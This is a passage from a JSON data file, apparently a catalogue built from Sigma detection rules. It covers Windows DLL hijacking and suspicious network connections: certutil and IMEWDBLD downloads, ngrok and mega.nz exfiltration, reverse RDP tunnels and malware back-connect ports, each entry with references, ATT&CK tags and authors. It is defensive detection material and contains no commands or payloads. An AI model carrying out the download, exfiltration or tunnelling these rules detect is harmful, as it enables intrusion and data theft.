DLL Hijack", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmiprvse_wbemcomn_dll_hijack.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2020/10/12", - "filename": "image_load_wmiprvse_wbemcomn_dll_hijack.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects non wmiprvse loading WMI modules", - "uuid": "671bb7e3-a020-4824-a00e-2ee5b55f385e", - "value": "WMI Modules Loaded", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190811201010.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_module_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2019/08/10", - "filename": "image_load_wmi_module_load.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "informational", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects WMI command line event consumers", - "uuid": "05936ce2-ee05-4dae-9d03-9a391cf2d2c6", - "value": "WMI Persistence - Command Line Event Consumer", - "meta": { - "refs": [ - "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_persistence_commandline_event_consumer.yml" - ], - "tags": [ - "attack.t1546.003", - "attack.persistence" - ], - "creation_date": "2018/03/07", - "filename": "image_load_wmi_persistence_commandline_event_consumer.yml", - "author": "Thomas Patzke", - "level": "high", - "falsepositive": [ - "Unknown (data set is too small; further testing needed)" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.", - "uuid": "ad1f4bb9-8dfb-4765-adb6-2a7cfb6c0f94", - "value": "Suspicious WSMAN Provider Image Loads", - "meta": { - "refs": [ - "https://twitter.com/chadtilbury/status/1275851297770610688", - "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", - "https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-architecture", - "https://github.com/bohops/WSMan-WinRM", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.lateral_movement", - "attack.t1021.003" - ], - "creation_date": "2020/06/24", - "filename": "image_load_wsman_provider_image_load.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects an executable in the Windows folder accessing github.com", - "uuid": "635dbb88-67b3-4b41-9ea5-a3af2dd88153", - "value": "Microsoft Binary Github Communication", - "meta": { - "refs": [ - "https://twitter.com/M_haggis/status/900741347035889665", - "https://twitter.com/M_haggis/status/1032799638213066752", - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_github_com.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1105", - "attack.exfiltration", - "attack.t1567.001" - ], - "creation_date": "2017/08/24", - "filename": "net_connection_win_binary_github_com.yml", - "author": "Michael Haag (idea), Florian Roth (rule)", - "level": "high", - "falsepositive": [ - "Unknown", - "@subTee in your network" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects an executable in the Windows folder accessing suspicious domains", - "uuid": "e0f8ab85-0ac9-423b-a73a-81b3c7b1aa97", - "value": "Microsoft Binary Suspicious Communication Endpoint", - "meta": { - "refs": [ - "https://twitter.com/M_haggis/status/900741347035889665", - "https://twitter.com/M_haggis/status/1032799638213066752", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_susp_com.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1105" - ], - "creation_date": "2018/08/30", - "filename": "net_connection_win_binary_susp_com.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects a network connection intitiated by the certutil.exe tool. Attackers can abuse `certutil.exe` to download malware or offensive security tools.", - "uuid": "0dba975d-a193-4ed1-a067-424df57570d1", - "value": "Certutil Initiated Connection", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_certutil.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/09/02", - "filename": "net_connection_win_certutil.yml", - "author": "frack113, Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate certutil network connection" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects process connections to a Monero crypto mining pool", - "uuid": "fa5b1358-b040-4403-9868-15f7d9ab6329", - "value": "Windows Crypto Mining Pool Connections", - "meta": { - "refs": [ - "https://www.poolwatch.io/coin/monero", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_crypto_mining.yml" - ], - "tags": [ - "attack.impact", - "attack.t1496" - ], - "creation_date": "2021/10/26", - "filename": "net_connection_win_crypto_mining.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of crypto miners" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects an executable, which is not an internet browser, making DNS request to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks.", - "uuid": "297ae038-edc2-4b2e-bb3e-7c5fc94dd5c7", - "value": "Dead Drop Resolvers", - "meta": { - "refs": [ - "https://content.fireeye.com/apt-41/rpt-apt41", - "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", - "https://blog.bushidotoken.net/2021/04/dead-drop-resolvers-espionage-inspired.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dead_drop_resolvers.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1102", - "attack.t1102.001" - ], - "creation_date": "2022/08/17", - "filename": "net_connection_win_dead_drop_resolvers.yml", - "author": "Sorina Ionescu", - "level": "high", - "falsepositive": [ - "One might need to exclude other internet browsers found in it's network or other applications like ones mentioned above from Microsoft Defender." - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects Dllhost that communicates with public IP addresses", - "uuid": "cfed2f44-16df-4bf3-833a-79405198b277", - "value": "Dllhost Internet Connection", - "meta": { - "refs": [ - "https://redcanary.com/blog/child-processes/", - "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dllhost_net_connections.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.execution", - "attack.t1559.001" - ], - "creation_date": "2020/07/13", - "filename": "net_connection_win_dllhost_net_connections.yml", - "author": "bartblaze", - "level": "medium", - "falsepositive": [ - "Communication to other corporate systems that use IP addresses from public address spaces" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects network connections from Equation Editor", - "uuid": "a66bc059-c370-472c-a0d7-f8fd1bf9d583", - "value": "Equation Editor Network Connection", - "meta": { - "refs": [ - "https://twitter.com/forensicitguy/status/1513538712986079238", - "https://news.sophos.com/en-us/2019/07/18/a-new-equation-editor-exploit-goes-commercial-as-maldoc-attacks-using-it-spike/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_eqnedt.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203" - ], - "creation_date": "2022/04/14", - "filename": "net_connection_win_eqnedt.yml", - "author": "Max Altgelt", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects an Excel process that opens suspicious network connections to non-private IP addresses, and attempts to cover CVE-2021-42292.\nYou will likely have to tune this rule for your organization, but it is certainly something you should look for and could have applications for malicious activity beyond CVE-2021-42292.\n", - "uuid": "75e33ce3-ae32-4dcc-9aa8-a2a3029d6f84", - "value": "Excel Network Connections", - "meta": { - "refs": [ - "https://corelight.com/blog/detecting-cve-2021-42292", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_excel_outbound_network_connection.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203" - ], - "creation_date": "2021/11/10", - "filename": "net_connection_win_excel_outbound_network_connection.yml", - "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0\", Tim Shelton", - "level": "medium", - "falsepositive": [ - "You may have to tune certain domains out that Excel may call out to, such as microsoft or other business use case domains.", - "Office documents commonly have templates that refer to external addresses, like sharepoint.ourcompany.com may have to be tuned.", - "It is highly recommended to baseline your activity and tune out common business use cases." - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects network connections made by the \"hh.exe\" process, which could indicate the execution/download of remotely hosted .chm files", - "uuid": "468a8cea-2920-4909-a593-0cbe1d96674a", - "value": "HH.EXE Network Connections", - "meta": { - "refs": [ - "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", - "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_hh.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.001" - ], - "creation_date": "2022/10/05", - "filename": "net_connection_win_hh.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Use IMEWDBLD.exe (built-in to windows) to download a file", - "uuid": "8d7e392e-9b28-49e1-831d-5949c6281228", - "value": "Download a File with IMEWDBLD.exe", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download", - "https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_imewdbld.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/01/22", - "filename": "net_connection_win_imewdbld.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Legitimate script" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects programs that connect to typical malware back connect ports based on statistical analysis from two different sandbox system databases", - "uuid": "4b89abaa-99fe-4232-afdd-8f9aa4d20382", - "value": "Suspicious Typical Malware Back Connect Ports", - "meta": { - "refs": [ - "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_malware_backconnect_ports.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1571" - ], - "creation_date": "2017/03/19", - "filename": "net_connection_win_malware_backconnect_ports.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects an executable accessing mega.co.nz, which could be a sign of forbidden file sharing use of data exfiltration by malicious actors", - "uuid": "fdeebdf0-9f3f-4d08-84a6-4c4d13e39fe4", - "value": "Communication To Mega.nz", - "meta": { - "refs": [ - "https://megatools.megous.com/", - "https://www.mandiant.com/resources/russian-targeting-gov-business", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_mega_nz.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.001" - ], - "creation_date": "2021/12/06", - "filename": "net_connection_win_mega_nz.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of mega.nz uploaders and tools" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", - "uuid": "8e5e38e4-5350-4c0b-895a-e872ce0dd54f", - "value": "Msiexec Initiated Connection", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_msiexec.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007" - ], - "creation_date": "2022/01/16", - "filename": "net_connection_win_msiexec.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate msiexec over networks" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects an executable accessing ngrok.io, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", - "uuid": "18249279-932f-45e2-b37a-8925f2597670", - "value": "Communication To Ngrok.Io", - "meta": { - "refs": [ - "https://ngrok.com/", - "https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_io.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.001" - ], - "creation_date": "2022/07/16", - "filename": "net_connection_win_ngrok_io.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of ngrok.io" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", - "uuid": "1d08ac94-400d-4469-a82f-daee9a908849", - "value": "Communication To Ngrok Tunneling Service", - "meta": { - "refs": [ - "https://twitter.com/hakluke/status/1587733971814977537/photo/1", - "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_tunnel.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.command_and_control", - "attack.t1567", - "attack.t1568.002", - "attack.t1572", - "attack.t1090", - "attack.t1102", - "attack.s0508" - ], - "creation_date": "2022/11/03", - "filename": "net_connection_win_ngrok_tunnel.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of ngrok" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious network connection by Notepad", - "uuid": "e81528db-fc02-45e8-8e98-4e84aba1f10b", - "value": "Notepad Making Network Connection", - "meta": { - "refs": [ - "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf", - "https://blog.cobaltstrike.com/2013/08/08/why-is-notepad-exe-connecting-to-the-internet/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notepad_network_connection.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.execution", - "attack.defense_evasion", - "attack.t1055" - ], - "creation_date": "2020/05/14", - "filename": "net_connection_win_notepad_network_connection.yml", - "author": "EagleEye Team", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects a Powershell process that opens network connections - check for suspicious target ports and target systems - adjust to your environment (e.g. extend filters with company's ip range')", - "uuid": "1f21ec3f-810d-4b0e-8045-322202e22b4b", - "value": "PowerShell Network Connections", - "meta": { - "refs": [ - "https://www.youtube.com/watch?v=DLtJTxMWZ2o", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_powershell_network_connection.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2017/03/13", - "filename": "net_connection_win_powershell_network_connection.yml", - "author": "Florian Roth", - "level": "low", - "falsepositive": [ - "Administrative scripts" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", - "uuid": "bef0bc5a-b9ae-425d-85c6-7b2d705980c6", - "value": "Python Initiated Connection", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python", - "https://pypi.org/project/scapy/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_python.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ], - "creation_date": "2021/12/10", - "filename": "net_connection_win_python.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate python script" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389", - "uuid": "5f699bc5-5446-4a4a-a0b7-5ef2885a3eb4", - "value": "RDP Over Reverse SSH Tunnel", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1096148422984384514", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_reverse_tunnel.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572", - "attack.lateral_movement", - "attack.t1021.001", - "car.2013-07-002" - ], - "creation_date": "2019/02/16", - "filename": "net_connection_win_rdp_reverse_tunnel.yml", - "author": "Samir Bousseaden", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443", - "uuid": "b1e5da3b-ca8e-4adf-915c-9921f3d85481", - "value": "RDP to HTTP or HTTPS Target Ports", - "meta": { - "refs": [ - "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", - "https://www.mandiant.com/resources/bypassing-network-restrictions-through-rdp-tunneling", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_to_http.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572", - "attack.lateral_movement", - "attack.t1021.001", - "car.2013-07-002" - ], - "creation_date": "2022/04/29", - "filename": "net_connection_win_rdp_to_http.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects network connections and DNS queries initiated by Regsvr32.exe", - "uuid": "c7e91a02-d771-4a6d-a700-42587e0b1095", - "value": "Regsvr32 Network Activity", - "meta": { - "refs": [ - "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", - "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml" - ], - "tags": [ - "attack.execution", - "attack.t1559.001", - "attack.defense_evasion", - "attack.t1218.010" - ], - "creation_date": "2019/10/25", - "filename": "net_connection_win_regsvr32_network_activity.yml", - "author": "Dmitriy Lifanov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects remote PowerShell connections by monitoring network outbound connections to ports 5985 or 5986 from a non-network service account.", - "uuid": "c539afac-c12a-46ed-b1bd-5a5567c9f045", - "value": "Remote PowerShell Session (Network)", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_remote_powershell_session_network.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.lateral_movement", - "attack.t1021.006" - ], - "creation_date": "2019/09/12", - "filename": "net_connection_win_remote_powershell_session_network.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "high", - "falsepositive": [ - "Legitimate usage of remote PowerShell, e.g. remote administration and monitoring.", - "Network Service user name of a not-covered localization" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects a rundll32 that communicates with public IP addresses", - "uuid": "cdc8da7d-c303-42f8-b08c-b4ab47230263", - "value": "Rundll32 Internet Connection", - "meta": { - "refs": [ - "https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011", - "attack.execution" - ], - "creation_date": "2017/11/04", - "filename": "net_connection_win_rundll32_net_connections.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Communication to other corporate systems that use IP addresses from public address spaces" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects a script interpreter wscript/cscript opening a network connection. Adversaries may use script to download malicious payloads.", - "uuid": "08249dc0-a28d-4555-8ba5-9255a198e08c", - "value": "Script Initiated Connection", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/08/28", - "filename": "net_connection_win_script.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate scripts" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.", - "uuid": "992a6cae-db6a-43c8-9cec-76d7195c96fc", - "value": "Script Initiated Connection to Non-Local Network", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script_wan.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/08/28", - "filename": "net_connection_win_script_wan.yml", - "author": "frack113, Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate scripts" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects a possible remote connections to Silenttrinity c2", - "uuid": "50e54b8d-ad73-43f8-96a1-5191685b17a4", - "value": "Silenttrinity Stager Msbuild Activity", - "meta": { - "refs": [ - "https://www.blackhillsinfosec.com/my-first-joyride-with-silenttrinity/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_silenttrinity_stager_msbuild_activity.yml" - ], - "tags": [ - "attack.execution", - "attack.t1127.001" - ], - "creation_date": "2020/10/11", - "filename": "net_connection_win_silenttrinity_stager_msbuild_activity.yml", - "author": "Kiran kumar s, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious network connections made by a well-known Windows binary run with no command line parameters", - "uuid": "20384606-a124-4fec-acbb-8bd373728613", - "value": "Suspicious Network Connection Binary No CommandLine", - "meta": { - "refs": [ - "https://redcanary.com/blog/raspberry-robin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_binary_no_cmdline.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/07/03", - "filename": "net_connection_win_susp_binary_no_cmdline.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious network connection by Cmstp", - "uuid": "efafe0bf-4238-479e-af8f-797bd3490d2d", - "value": "Cmstp Making Network Connection", - "meta": { - "refs": [ - "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_cmstp.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.003" - ], - "creation_date": "2022/08/30", - "filename": "net_connection_win_susp_cmstp.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects an executable that isn't dropbox but communicates with the Dropbox API", - "uuid": "25eabf56-22f0-4915-a1ed-056b8dae0a68", - "value": "Suspicious Dropbox API Usage", - "meta": { - "refs": [ - "https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb", - "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_dropbox_api.yml" - ], - "tags": "No established tags", - "creation_date": "2022/04/20", - "filename": "net_connection_win_susp_dropbox_api.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of the API with a tool that the author wasn't aware of" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious \"epmap\" connection to a remote computer via remote procedure call (RPC)", - "uuid": "628d7a0b-7b84-4466-8552-e6138bc03b43", - "value": "Suspicious Epmap Connection", - "meta": { - "refs": [ - "https://github.com/RiccardoAncarani/TaskShell/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_epmap.yml" - ], - "tags": [ - "attack.lateral_movement" - ], - "creation_date": "2022/07/14", - "filename": "net_connection_win_susp_epmap.yml", - "author": "frack113, Tim Shelton (fps)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", - "uuid": "e54979bd-c5f9-4d6c-967b-a04b19ac4c74", - "value": "Suspicious Outbound Kerberos Connection", - "meta": { - "refs": [ - "https://github.com/GhostPack/Rubeus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_kerberos_connection.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1558", - "attack.lateral_movement", - "attack.t1550.003" - ], - "creation_date": "2019/10/24", - "filename": "net_connection_win_susp_outbound_kerberos_connection.yml", - "author": "Ilyas Ochkov, oscd.community", - "level": "high", - "falsepositive": [ - "Other browsers" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious connections from Microsoft Sync Center to non-private IPs.", - "uuid": "9f2cc74d-78af-4eb2-bb64-9cd1d292b87b", - "value": "Microsoft Sync Center Suspicious Network Connections", - "meta": { - "refs": [ - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_mobsync_connection.yml" - ], - "tags": [ - "attack.t1055", - "attack.t1218", - "attack.execution", - "attack.defense_evasion" - ], - "creation_date": "2022/04/28", - "filename": "net_connection_win_susp_outbound_mobsync_connection.yml", - "author": "elhoim", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", - "uuid": "9976fa64-2804-423c-8a5b-646ade840773", - "value": "Suspicious Outbound SMTP Connections", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", - "https://www.ietf.org/rfc/rfc2821.txt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_smtp_connections.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ], - "creation_date": "2022/01/07", - "filename": "net_connection_win_susp_outbound_smtp_connections.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Other SMTP tools" - ], - "logsource.category": "network_connection", - "logsource.product": "windows" - } - }, - { - "description": "Detects programs with network connections running in suspicious files system locations", - "uuid": "7b434893-c57d-4f41-908d-6a17bf1ae98f", - "value": "Suspicious Program Location with Network Connections", - "meta": { - "refs": [ - "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_prog_location_network_connection.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2017/03/19", - "filename": "net_connection_win_susp_prog_location_network_connection.yml", - "author": "Florian Roth, Tim 